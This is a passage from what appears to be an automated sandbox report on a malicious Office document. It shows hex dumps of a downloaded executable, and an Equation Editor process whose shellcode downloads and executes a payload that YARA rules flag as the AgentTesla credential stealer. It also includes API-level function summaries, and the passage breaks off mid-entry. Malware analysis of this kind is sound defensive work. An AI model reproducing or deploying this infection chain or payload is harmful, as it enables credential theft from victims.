7d c3 9c 52 69 63 68 72 7d c3 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bd 94 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 de 08 00 00 28 07 00 00 00 00 00 cd 7d 02 00 00 10 00 00 00 f0 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6r}r}r}4,"p}s}/A}/#}/"G}{@{}{PW}r}R)"}s}/s}r}Ts}s}Richr}PELWg"(}@@@@L\|pq+pH@.text `.rdata@@.datatR@.rsrcp@@.relocqr@B
Dec 10, 2024 14:20:53.183404922 CET	488	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 44 41 4c 00 e8 b7 a2 03 00 68 59 b5 43 00 e8 2c 1d 02 00 59 c3 e8 59 39 00 00 68 63 b5 Data Ascii: DALhYC,YY9hcCY8hiCYhnCYM,hsCYhxCYQh}CYSLQ@SLP_hCY1hCYshCYgL
Dec 10, 2024 14:20:53.183410883 CET	1236	IN	Data Raw: 10 4b 79 f3 83 8e 8c 01 00 00 ff 33 c0 83 8e 90 01 00 00 ff 83 8e bc 01 00 00 ff 83 8e c0 01 00 00 ff 89 86 6c 01 00 00 89 86 70 01 00 00 89 86 74 01 00 00 89 86 78 01 00 00 89 86 7c 01 00 00 89 86 80 01 00 00 88 86 84 01 00 00 89 86 88 01 00 00 Data Ascii: Ky3lptx\|f_^[V4HWLPtXLj0^U]dUWLVuWVl
Dec 10, 2024 14:20:53.183517933 CET	1236	IN	Data Raw: e8 85 0f 00 00 8b 0d 10 58 4c 00 8b 0c 81 8b 09 ff 71 1c 50 e8 86 0c 00 00 6a 00 ff 75 0c 6a 07 ff 75 08 ff 15 84 f5 48 00 5d c2 08 00 55 8b ec ff 75 08 b9 b0 57 4c 00 e8 4d 0f 00 00 50 e8 50 09 00 00 6a 00 6a 00 6a 02 ff 75 08 ff 15 84 f5 48 00 Data Ascii: XLqPjujuH]UuWLMPPjjjuH]UQSVuWL!uWLVEMIIut-$XLtSuu\^[]xHuVuh8U\SVWuWL
Dec 10, 2024 14:20:53.183523893 CET	1236	IN	Data Raw: 85 c0 74 08 3b b0 80 00 00 00 75 3e 8b 5e 04 85 db 0f 85 1e 9f 03 00 8b 87 c8 01 00 00 3b f0 75 3e 8b 06 89 87 c8 01 00 00 56 e8 a1 f2 01 00 8b 45 0c 59 85 c0 74 13 5b 6a 01 6a 00 ff 37 ff 15 58 f6 48 00 5f 5e 5d c2 08 00 85 c0 75 1b 8b b7 c8 01 Data Ascii: t;u>^;u>VEYt[jj7XH_^]uMt9t6UM$uE(@S]#E(VW} jQuWSuuQhHhHPuuENLfEhf
Dec 10, 2024 14:20:53.183547020 CET	1236	IN	Data Raw: 57 e8 0b fb ff ff 83 7f 18 00 0f 85 63 9c 03 00 8b 0d 34 58 4c 00 6a 03 5a 89 55 fc 3b ca 0f 8c ad 00 00 00 a1 24 58 4c 00 8b 04 90 8b 30 85 f6 0f 84 8c 00 00 00 8b 46 04 3b 47 04 0f 85 80 00 00 00 0f b6 86 90 00 00 00 83 e8 0a 0f 84 7b 9c 03 00 Data Ascii: Wc4XLjZU;$XL0F;G{r:VW~dk~hs~D{~P>t6<H&uWL4XLUBU;Vu V$ZXLt
Dec 10, 2024 14:20:53.183556080 CET	1236	IN	Data Raw: 04 00 83 8e 98 00 00 00 ff 83 8e 94 00 00 00 ff e9 6a ff ff ff 55 8b ec 51 8b 0d 28 58 4c 00 56 57 39 0d 30 58 4c 00 75 6e 81 3d 34 58 4c 00 ff ff 00 00 0f 84 8e 00 00 00 68 a0 00 00 00 e8 6f e8 01 00 59 85 c0 0f 84 80 00 00 00 8b c8 e8 22 0e 00 Data Ascii: jUQ(XLVW90XLun=4XLhoY"E}P XL54XLF54XL$XL0XL9MIO_^]j^3;~$XL98u#hYt3F;\|UVuWt$jV\H;Gxs
Dec 10, 2024 14:20:53.183764935 CET	1236	IN	Data Raw: f6 48 00 6a ff 57 b9 b0 57 4c 00 e8 5c f9 ff ff 83 3d d4 57 4c 00 00 75 16 68 56 12 40 00 6a 28 6a 00 6a 00 ff 15 18 f7 48 00 a3 d4 57 4c 00 ff 05 d0 57 4c 00 b9 b0 57 4c 00 6a 00 89 35 1c 58 4c 00 e8 47 05 00 00 f7 c3 00 00 00 10 0f 85 7f 97 03 Data Ascii: HjWWL\=WLuhV@j(jjHWLWLWLj5XLG_^[] 3"'MPMRU}WWL^XLt{XL3V0M8V:tV:9D}zttdttQtC~)1~8
Dec 10, 2024 14:20:53.183770895 CET	1236	IN	Data Raw: ff 36 ff 15 10 f5 48 00 8d 4d 2c e8 04 6a 00 00 8b c7 5f 5e 5b 8b e5 5d c2 34 00 8a 45 f4 e9 74 ff ff ff ff 73 50 57 e8 79 59 08 00 eb c4 ff 73 54 57 e8 62 57 08 00 eb bf 83 65 f4 00 e9 4c 9f 03 00 aa c9 43 00 c8 c9 43 00 e6 c9 43 00 04 ca 43 00 Data Ascii: 6HM,j_^[]4EtsPWyYsTWbWeLCCCC"C@C\|CCCCBC^CC+CnCCCCCTCrC.@/CCCC6C&.@^CCU}VuNlF`^f@h]uFlUQQE
Dec 10, 2024 14:20:53.183790922 CET	1236	IN	Data Raw: 83 cf ff 8d 4e 14 89 1e 89 7e 04 89 5e 08 89 5e 0c 89 5e 10 e8 ce 42 00 00 8d 4e 24 e8 c6 42 00 00 8d 4e 54 89 5e 34 89 5e 38 89 5e 3c 89 5e 40 89 5e 44 89 7e 48 89 7e 4c 89 5e 50 e8 a6 42 00 00 89 5e 64 8b c6 89 5e 68 89 5e 70 89 5e 78 c7 46 7c Data Ascii: N~^^^BN$BNT^4^8^<^@^D~H~L^PB^d^h^p^xF\|fffff_^[USVj[F9Ft&SYtOMNFF^[]jX;s(3FWQI~
Dec 10, 2024 14:20:53.302963972 CET	1236	IN	Data Raw: 08 e8 aa 20 00 00 8d 4d f0 e8 5e 60 00 00 8b 75 bc 8d 4d f0 e8 fa 3d 00 00 8d 45 f0 50 8d 4d a0 e8 57 06 00 00 8b 7d f0 57 68 44 fa 48 00 e8 76 f6 01 00 59 59 85 c0 0f 84 1e 99 03 00 57 68 1c fa 48 00 e8 61 f6 01 00 59 59 85 c0 0f 84 25 99 03 00 Data Ascii: M^`uM=EPMW}WhDHvYYWhHaYY%WhHLYY,WhH7YYu;aRLEPMERLPOGEPM=RL-MYNQjSWe3u@EjPE

Target ID:	0
Start time:	08:20:00
Start date:	10/12/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fee0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:20:48
Start date:	10/12/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:20:54
Start date:	10/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ghxtg8op.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ghxtg8op.exe
Imagebase:	0xd40000
File size:	1'051'136 bytes
MD5 hash:	EF05B0557B2C8F0C951A1B21B812E75F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:20:55
Start date:	10/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ghxtg8op.exe
Imagebase:	0x11a0000
File size:	45'248 bytes
MD5 hash:	19855C0DC5BEC9FDF925307C57F9F5FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.635366248.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.635366248.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.635675466.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	16.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	67.3%
Total number of Nodes:	107
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0356047A Relevance: 3.1, APIs: 2, Instructions: 82
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(0356046C), ref: 0356047A

Part of subcall function 03560494: URLDownloadToFileW.URLMON(00000000,035604A5,?,00000000,00000000), ref: 035604F7

Memory Dump Source

Source File: 00000002.00000002.486831561.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: DownloadFileLibraryLoad
String ID:
API String ID: 2776762486-0
Opcode ID: 22eebc276f5b49a441160e739c2ab75f2086f15045b57c62eeaf238410b76855
Instruction ID: 27cb517ab8996e8f5de363ae60fc193250408ff02c67f8f0c073a0f2bf8afe60
Opcode Fuzzy Hash: 22eebc276f5b49a441160e739c2ab75f2086f15045b57c62eeaf238410b76855
Instruction Fuzzy Hash: B321C4A144C7C22FC722D670AD7AB65BF247BA3610F1CC6CE95D50F1E3A35492059752

Function 03560540 Relevance: 3.0, APIs: 2, Instructions: 46
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WinExec.KERNEL32(?,00000001), ref: 0356054D

Part of subcall function 03560560: ExitProcess.KERNELBASE(00000000), ref: 03560565

Memory Dump Source

Source File: 00000002.00000002.486831561.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: ExecExitProcess
String ID:
API String ID: 4112423671-0
Opcode ID: 7b4514c50c6803db6e1acb15a029f5a29cf7c6a0b93d7e4af60678115a653edc
Instruction ID: 31d79f1c1dd14c0a3c547983067fb985165132ad556052ee14b35d3e46f68851
Opcode Fuzzy Hash: 7b4514c50c6803db6e1acb15a029f5a29cf7c6a0b93d7e4af60678115a653edc
Instruction Fuzzy Hash: A6F0D1D990E34221DA30F628E8757A6AF51BB71320FCC884BA882070F5E56891C38619

Function 035603E8 Relevance: 1.6, APIs: 1, Instructions: 149
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,035604A5,?,00000000,00000000), ref: 035604F7

Memory Dump Source

Source File: 00000002.00000002.486831561.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 349008c7f50ef8f21d6367dce86b465c53a3ccc32d360f951f42ba3ef2c074d6
Instruction ID: a9874500c8d652537cd5917fc767dc634c899d52b04dc0a0579cdb1309653207
Opcode Fuzzy Hash: 349008c7f50ef8f21d6367dce86b465c53a3ccc32d360f951f42ba3ef2c074d6
Instruction Fuzzy Hash: D441BBA144D3C62FC722D770AD6A666BF247A93111F0CCACFD5D50B1F3E3A4A6069352

Function 03560404 Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,035604A5,?,00000000,00000000), ref: 035604F7

Memory Dump Source

Source File: 00000002.00000002.486831561.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 2a29999f516f4265654bf4ba96437bc394bd20367927042e726513b9c637b6c0
Instruction ID: 0e2f49ce4a7edaf3ac9460c6d96e845b4d17d5dbf6a0ff0ab8972b6a493411f4
Opcode Fuzzy Hash: 2a29999f516f4265654bf4ba96437bc394bd20367927042e726513b9c637b6c0
Instruction Fuzzy Hash: 7341AEA544D3C62FC722D770AD2A665BF247B93511F0CCA8E95D50B1F3A3A4A2059352

Function 03560494 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.486831561.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: be88e611c56496e43933ae3405814ab347067055421826d976b01dd4bed9f06f
Instruction ID: e20f3774e0318cf870b816079b27584707fbd10fe5328dbe51ba67a77370921a
Opcode Fuzzy Hash: be88e611c56496e43933ae3405814ab347067055421826d976b01dd4bed9f06f
Instruction Fuzzy Hash: 4311AFA084C3C22FC722D770AC6AB55BF647BA2610F1CCACE96D50F1E3E3A591019752

Function 035604F5 Relevance: 1.6, APIs: 1, Instructions: 58
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,035604A5,?,00000000,00000000), ref: 035604F7

Memory Dump Source

Source File: 00000002.00000002.486831561.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: fe65dfc41c474ed7c68a25bdd3244d0e817b4e5dc4d84330f277ae402f48056e
Instruction ID: 5279f4de2a71d999a372d26c535c100bfb53933d33cc84a54f8962db0a974139
Opcode Fuzzy Hash: fe65dfc41c474ed7c68a25bdd3244d0e817b4e5dc4d84330f277ae402f48056e
Instruction Fuzzy Hash: 94116FF090D3427AC760E654E871BBAFBA1BBF2720F58C55AE5504F0F5E3A0E542C219

Function 03560560 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNELBASE(00000000), ref: 03560565

Memory Dump Source

Source File: 00000002.00000002.486831561.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction Fuzzy Hash:

Function 03560567 Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.486831561.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction ID: 3b71189967319153c3b7bd3ba86c2be8051481b30d5539eb49684a3b622bbc97
Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction Fuzzy Hash: 5DD052B12025029FC304DF04D990E22F37AFFE8260B28C268E4044B769D730E892CB90

Non-executed Functions

Function 035603CF Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNELBASE(035603BD), ref: 035603CF

Memory Dump Source

Source File: 00000002.00000002.486831561.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: bedebe269a70294558d653869ad26599dbae31bf343a58e7048c1f80490712e0
Instruction ID: bb633ee72060a364036828a052251c305007c987ed68d66fa78e9a0baf4b1980
Opcode Fuzzy Hash: bedebe269a70294558d653869ad26599dbae31bf343a58e7048c1f80490712e0
Instruction Fuzzy Hash: 0A11005580E7C55FC322D7706E6A065BF60B95310270D8ACFC0C50B1F3E2A8D646D352

Analysis Process: ghxtg8op.exePID: 3752, Parent PID: 3608COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	6.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	184

Executed Functions

Function 00D43B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00D43B68
IsDebuggerPresent.KERNEL32 ref: 00D43B7A
GetFullPathNameW.KERNEL32(00007FFF,?,?,00E052F8,00E052E0,?,?), ref: 00D43BEB

Part of subcall function 00D47BCC: _memmove.LIBCMT ref: 00D47C06

Part of subcall function 00D5092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00D43C14,00E052F8,?,?,?), ref: 00D5096E

SetCurrentDirectoryW.KERNEL32(?), ref: 00D43C6F
MessageBoxA.USER32 ref: 00D7D281
SetCurrentDirectoryW.KERNEL32(?,00E052F8,?,?,?), ref: 00D7D2B9
GetForegroundWindow.USER32 ref: 00D7D33F
ShellExecuteW.SHELL32(00000000,?,?), ref: 00D7D346

Part of subcall function 00D43A46: GetSysColorBrush.USER32 ref: 00D43A50
Part of subcall function 00D43A46: LoadCursorW.USER32 ref: 00D43A5F
Part of subcall function 00D43A46: LoadIconW.USER32 ref: 00D43A76
Part of subcall function 00D43A46: LoadIconW.USER32 ref: 00D43A88
Part of subcall function 00D43A46: LoadIconW.USER32 ref: 00D43A9A
Part of subcall function 00D43A46: LoadImageW.USER32 ref: 00D43AC0
Part of subcall function 00D43A46: RegisterClassExW.USER32(?), ref: 00D43B16

Part of subcall function 00D439D5: CreateWindowExW.USER32 ref: 00D43A03
Part of subcall function 00D439D5: CreateWindowExW.USER32 ref: 00D43A24
Part of subcall function 00D439D5: ShowWindow.USER32(00000000), ref: 00D43A38
Part of subcall function 00D439D5: ShowWindow.USER32(00000000), ref: 00D43A41

Part of subcall function 00D4434A: _memset.LIBCMT ref: 00D44370
Part of subcall function 00D4434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00D44415

Strings

This is a third-party compiled AutoIt script., xrefs: 00D7D279
runas, xrefs: 00D7D33A

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 529118366-3287110873
Opcode ID: 0b1b3b5c41c0fa7ae46590d270224702e8e279cae58ef9a2a68c6da7470cc0fd
Instruction ID: c7233b53f2cc5158e042d14dafc17036ab38d544d4d47cd8f6ddfac173c1bc63
Opcode Fuzzy Hash: 0b1b3b5c41c0fa7ae46590d270224702e8e279cae58ef9a2a68c6da7470cc0fd
Instruction Fuzzy Hash: DB51B132D08249AFDF01ABB9DC46EEE7B79EF45700B148065F451B21A2DA61968ACF31

Function 00D449A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00D449CD

Part of subcall function 00D47BCC: _memmove.LIBCMT ref: 00D47C06

GetCurrentProcess.KERNEL32(?,00DCFAEC,00000000,00000000,?), ref: 00D44A9A
IsWow64Process.KERNEL32(00000000), ref: 00D44AA1
GetNativeSystemInfo.KERNEL32(00000000), ref: 00D44AE7
FreeLibrary.KERNEL32(00000000), ref: 00D44AF2
GetSystemInfo.KERNEL32(00000000), ref: 00D44B23
GetSystemInfo.KERNEL32(00000000), ref: 00D44B2F

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: ea6463f98a8a2f60101f6814f6b9a68882e8fded8aa576e35b46a921c5a408f3
Instruction ID: e85e9b5db517ac88adcd3d444308fd7a624ef99ff2718948a709ae9185be9ef3
Opcode Fuzzy Hash: ea6463f98a8a2f60101f6814f6b9a68882e8fded8aa576e35b46a921c5a408f3
Instruction Fuzzy Hash: 3491C4319897C1DFC731CB6885516AAFFF5AF29304B484DADD0CB93A41D620E548C77A

Function 00D44E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00D44E99
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00D44D8E,?,?,00000000,00000000), ref: 00D44EB0
LoadResource.KERNEL32(?,00000000,?,?,00D44D8E,?,?,00000000,00000000,?,?,?,?,?,?,00D44E2F), ref: 00D7D937
SizeofResource.KERNEL32(?,00000000,?,?,00D44D8E,?,?,00000000,00000000,?,?,?,?,?,?,00D44E2F), ref: 00D7D94C
LockResource.KERNEL32(00D44D8E,?,?,00D44D8E,?,?,00000000,00000000,?,?,?,?,?,?,00D44E2F,00000000), ref: 00D7D95F

Strings

SCRIPT, xrefs: 00D44EA6

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 2641f8c29308cf4dc0e396143db433ab8e4e1f057d574182047cfc36e6b447cf
Instruction ID: 72a909603033b0d20e0a4138852fa4282e0c889bf8c9959ca4769e8b89ba1d41
Opcode Fuzzy Hash: 2641f8c29308cf4dc0e396143db433ab8e4e1f057d574182047cfc36e6b447cf
Instruction Fuzzy Hash: 6A114C75240702AFD7218B65EC48F67BBBAEBC5B11F144268F505C6250DB61E8408A70

Function 00D4E6A0 Relevance: 7.4, Strings: 5, Instructions: 1102COMMON

Download Yara Rule

Strings

Dd, xrefs: 00D83AF5
Dd, xrefs: 00D4EABA
Dd, xrefs: 00D83B2E
Dd, xrefs: 00D4EAC1
Variable must be of type 'Object'., xrefs: 00D83E62

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID: Dd$Dd$Dd$Dd$Variable must be of type 'Object'.
API String ID: 0-2781164977
Opcode ID: 059bf477fa3c05f6aec13cb83748b93ccbbdcd9511d06e084bb13ce762abc9d8
Instruction ID: 9e245ed572d8af9a64975c7d3957d92840435f5f08c77b8535705331e4b1c2c8
Opcode Fuzzy Hash: 059bf477fa3c05f6aec13cb83748b93ccbbdcd9511d06e084bb13ce762abc9d8
Instruction Fuzzy Hash: 66A29E74A00215EFCB24CF58C480AAEB7B2FF59314F288569E855AB351D735ED86CBB0

Function 00DA445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00D7E398), ref: 00DA446A
FindFirstFileW.KERNELBASE(?,?), ref: 00DA447B
FindClose.KERNEL32(00000000), ref: 00DA448B

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 1cce6cd0794ec7b62fbc5ce4a1f261683bb3db07a03cd213a704f9ddc89f415f
Instruction ID: 2c08276d029c1c0dca761553a1483c6ca036c11247800549cdb3e38c1eaf0d42
Opcode Fuzzy Hash: 1cce6cd0794ec7b62fbc5ce4a1f261683bb3db07a03cd213a704f9ddc89f415f
Instruction Fuzzy Hash: 43E0D8324106026742106B38EC0D9E9B75DDE4A335F140715F835C11D0E7F4990095B5

Function 00D509D0 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

